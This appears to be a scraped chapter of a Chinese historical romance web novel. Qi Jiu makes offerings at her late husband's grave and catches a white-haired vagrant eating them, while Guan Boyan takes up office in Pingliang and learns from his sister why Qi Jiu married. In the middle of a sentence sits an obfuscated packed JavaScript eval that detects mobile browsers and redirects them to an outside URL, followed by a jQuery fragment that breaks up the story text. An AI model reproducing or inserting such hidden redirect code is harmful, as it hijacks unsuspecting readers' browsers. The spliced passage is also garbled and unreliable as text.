杨先生虽然勉强答应了沈氏，却称身体不适，等好全了再来讲学。
柒奺倒是落得松快，听秦妈妈传话时提起，主君让柒奺改回本名，不必再叫“柒（大弗fú）鸳”，她心中慰藉，对公爹由衷感激。
柒奺是困不住的。
摸清状况后，她便偷了套小厮的装束，时常顺着大槐树爬出院去溜达。
她买了只烧鸡和好些果品，撕了条鸡腿，和两只馒头、几个果子，摆在祈楚坟前：
“看在公爹的份上，姑且给你开开荤。你这死鬼若真泉下有知，便保佑你父亲早日康复吧，唉……你倒是早早撇了个干净，这祈家……还得靠公爹撑着啊。”
瓶儿馋得慌，心里觉得可惜，活着的人都没吃饱，还给死人吃。
柒奺看出了她的心思，拍拍她的手背说：“放心，就摆给他看看，给他闻闻味儿罢了。明儿我们再吃掉，就当着他的面吃，让他做个馋死鬼。”
瓶儿却哆嗦：“娘子，这几日夜里，我总看到一只鬼影飘来飘去，难道……真是郎君的魂儿找来了？”
柒奺说：“无妨，若真是祈家公子，他便是来找我的，我却不怕他。瓶儿，你若真害怕，咱们就把隔壁屋收拾出来，你我分开住几日——我倒要看看，他究竟是人是鬼。”
柒奺和瓶儿一道，将旁边厢房收拾出来给瓶儿住。
入夜，瓶儿仍旧犹犹豫豫，柒奺倒麻利地给她收拾好铺笼罩被，直叫她快睡。瓶儿连续担惊受怕，梦中也紧紧攥着被子，柒奺便坐在床边陪她，直到将她安抚下来才轻轻走出门去。
今晚的月色好凉啊。
柒奺抬起头，望着槐树疏影中掩映的月色，脑海中，又不禁浮现出那个夜晚。
就在那夜之前，她还是个天真懵懂的少女，脑子里只有栏里的鸡、园里的菜，乡野小溪边赤脚奔跑；屋后两座土坟，爷爷与关滢，还有那个……谦谦儒雅、与周遭一切都格格不入的关薄言。
柒奺一如那夜般，对月呼出一口凉气。目光忍不住向下挪动，扫过槐树粗壮的躯干。
而如今……
突然，她愣住了，汉白玉的碑前，立着一个人影。
那人身形如一截苍松，须发皆白，随风飘舞。像从天而降的神明，落入此处，与柒奺一同抬头望月。
是神明啊。
柒奺看得呆了，不禁感叹此处还真是个风水宝地，竟将天上的神仙也招了下来。
就在这时，神仙突然动了——
“哇……好大个鸡腿！”
柒奺瞬间呆得像块木头，却见他蹲下身去，从供盘里拿起烧鸡腿，三两下便啃得只剩根骨架子。他扔掉骨头，舔舔漆黑的爪子，又去拿供盘里的水果。
柒奺回过神来，羞愤难当，抄起一旁的扫帚便打过去：
“哪里来的臭乞丐，敢抢姑奶奶的鸡腿儿！……”
一辆装饰精美的马车，驶入了平凉的城门。
以平凉城主簿曹主簿为首，并令佐、尉丞与七位司户，在城门内迎接新上任的凉州司户曹参。朝廷前几日已将文书快马加鞭送至平凉城主簿手中，听说凉州司户曹参即将入城，又是韩尚书的得意门生，早已在此翘首以盼。
没错，这位新晋的凉州曹参，便是关薄言。
文唐分九州，一州之长谓之“刺史”，并州级长史、司马、曹参、市令、博士等。州下有城，为政治经济集聚之地，根据辖区大小、人口分布等，一州约有十至十五座城。一城之长为“主簿”，并令佐、尉丞、司佐、市令、博士等。其余所属地均为县级，只设县令、县尉与捕役若干。
薛宛的父亲薛司户也在其中，见马车上下来一位青年俊朗、风度翩翩的郎君，心中激动万分，当即便决定明日带夫人女儿登门造访。若是这位关曹参看得上自家女儿，薛家攀上关薄言这根高枝，便可算是平步青云了。
他不知道，这群官员中但凡有女儿的，都同他想到了一处去。
“关曹参，我与众位在此恭候多时了！”
曹主簿喜笑颜开，拱手快步迎了上去。
关薄言也回了一礼：“曹主簿，我在信中交代过不必张扬，此番……让曹主簿费心了。”
“诶，哪的话！”曹主簿忙说道，“关曹参少年英才，老朽也早有耳闻，如今你走马上任，出任凉州司户曹参，这可是为咱们平凉城增光啊！”
“主簿谬赞，缄之愧不敢当。”
关薄言加冠时，先生以“薄言”之意，为之取字“缄之”。
“当得起，当得起！”曹主簿说，“我已在城中酒楼设宴，替关曹参接风洗尘，还请关曹参一定要赏光。对了，曹参府我已找人替您修葺布置妥当，今日宴后，老朽便亲自领曹参去看看，若有不妥之处，还请曹参恕罪、恕罪啊！”
关薄言揖手道：“劳曹主簿费心。”
平凉城最气派的酒楼，凤仪楼，曹主簿便在最顶处的雅间设宴款待关薄言。
凤仪楼乃平凉城最大的酒楼，位于平凉城中心最繁华的西街。东家名唤袁霸天，平凉人称“霸爷”，无人不知无人不晓。传说其杀伐果断，御下有术，所经营的酒肆青楼声名远播，除了接待达官贵人的凤仪楼，还有接待士家子弟的清崖居，以及接待平民百姓的胭脂、月影二阁。
暖阁内雕梁画栋，琴瑟琵琶，舞姬隔帘献舞，一片暖意香融。各位平凉官员，都纷纷向关薄言敬酒，席间问的最多的，便是关薄言是否有心仪的女子，纷纷都将自己的女儿夸成了天上的仙女。
可此事，却是关薄言心中最大的郁结。
家书发出后，关薄言在平京城翘首以盼，盼能得到父母已上柒家提亲的消息。他自始至终都坚信，柒奺一定会等他，甚至将身上为数不多的银两统统掷下，为柒奺买了一只玉镯。
这只玉镯，到现在都还藏在他衣内心口处，连着那封迟来的回信。
收到回信时，关薄言只感觉气血涌上脑门，连连后退，重重跌坐下去。
信中称，柒奺已然出阁，嫁与他人，称之前的话都是戏言，只想让他好好念书，一展抱负。信中还说，柒奺祝他官运亨通，夫唱妇随，幸福顺遂。
不可能……奺儿绝不可能骗我，这其中，定有隐情！
关薄言端着酒杯，却控制不住出了神。
“关曹参？……曹参大人？”
薛司户端着酒杯，手还举在半空，表情有些窘迫。
喊了几声，见关薄言总算回过神来，才忙说道：“刚刚我提议，过几日带内子小女登门拜访，不知曹参大人意下如何？小女薛宛，年方十七，从小饱读诗书……”
“薛司户。”关薄言提声打断他，“我近日刚上任，公务繁多，还是过段时日再说吧。”
“是、是……”薛司户不甘心地坐下来。
关薄言饮尽杯中酒，起身作揖：“众位大人请继续宴饮，我今日派人接了父母来平凉，须回家拜见双亲。等缄之处理好诸事，再请诸公共饮，怠慢之处，还请诸位大人多多见谅。”
“哪里，哪里……”
请辞后，关薄言叫上小厮，备马匆匆回到了曹参府。
曹参府设在平凉城以西，四周幽静，毗邻平凉西市。这是朝廷御赐的宅子，属于上一任平凉州司户曹参，宅子不大，白墙青瓦，中有红柱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527189|203563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，雅致中还透出些贵气。
关薄言走下马车，抬头望着这高门大宅，心中却感到一阵悲凉。
原本他还满心期待，要将这府邸里里外外挂上红绸，迎娶心爱的奺儿入门。可如今这高门贵府，白墙青瓦，却令他感觉冷冷清清，心中有一处空白到发疼。
关氏夫妇和关滢早已被接入府中，换上绫罗绸缎，坐在雕花屏风内，喜气洋洋地喝着丫鬟沏的新茶。
今儿晌午，一队神仙人马敲敲打打地来到鸭子村，称儿子关薄言做了凉州的司户曹参，要他们收拾细软，搬到平凉城内的大宅子去住。关氏夫妇在众人的惊叹声中，下巴翘上了天，脸蛋笑开了花，喜气洋洋地坐上了马车。
可真是祖宗保佑，祖宗保佑啊！
关氏夫妇笑得合不拢嘴。
只有关滢坐立不安。
她知道等哥哥回来，定要询问柒奺的事，她又不善说谎，一个谎话十个洞，他担心哥哥一定会大发雷霆。
可等到关薄言进了堂内，只冷脸跪谢了父母养育之恩，便称有公务要处理，转身进了书房。关氏夫妇也没多想，晓得自己儿子如今身居要职，不得叨扰，便推着女儿回房去。
然而，关滢回房没多久，关薄言便敲响了她的门。
“哥哥？你……”
“滢儿，我知道你心性纯良，不会说谎。”关薄言在屋中坐下，从胸前口袋里拿出那封家书，“奺儿究竟发生了什么事？我不相信她是骗我的，滢儿你告诉我，我离家这一年里，究竟……究竟发生了什么？”
关滢见哥哥双眼通红、眉头紧锁，顿时胸中一阵心酸，眼泪登时便涌了出来。
“哥哥，其实我也不相信奺儿会骗你……可是、可是……她也实在是没法子了……”
关滢哭着，将柒奺爷爷病重、父母却拒不相助的事告诉了关薄言。
关薄言听着听着，拳头逐渐攥紧，将那家书捏得啪啪作响。之前他只觉得悲凉，甚至想过柒奺的话是不是真的只是诓他骗他。可如今，听闻自己的父母竟如此冷漠，为了让他断了念想，竟然作壁上观，甚至说出让柒奺为奴为婢，去做娼妓、哪怕去死的话……
实在是骇人听闻。
可他也怪不了父母，一切一切，都怪他自己据理力争，却从未考虑过柒奺的处境。
奺儿无助的时候，我在哪里？我又为她做了什么！
关薄言心如刀割，将拳头用力砸向案几，案上的茶盏应声而落，砸了个粉碎。
“哥哥，你别这样……”
关滢吓得站起身，用力去掰关薄言的发白的拳头。关薄言急促地喘了几口气，终于放开家书，信纸已被他捏得粉碎。
“滢儿，你告诉我……奺儿她嫁给了什么人？”
关滢松了口气，答道：
“听说对方是平凉城的大商户，祈家的公子，叫什么……祈楚的。我也未曾见过，只听说……听说这位祈公子病重，祈家急于传宗接代，才娶了奺儿进门。那日回门时，祈家公子也未同奺儿一道回来，我也不知道……”
“你说什么？”
关薄言难以置信。
“简直荒唐！奺儿嫁与这样的人，后半辈子岂不是毁了！不行……”
关薄言蹭地站起身，急匆匆便要走出门去。
关滢忙拖住关薄言的手，哭道：“哥哥，你做什么？你、你可不能去寻奺儿啊！若被奺儿的婆家人知道，她的日子可就更难过了……”
关薄言停下脚步。
他舒了口气，冷静下来，拍了拍关滢的手。
“你放心，滢儿，我自有打算，不会叫奺儿难做。”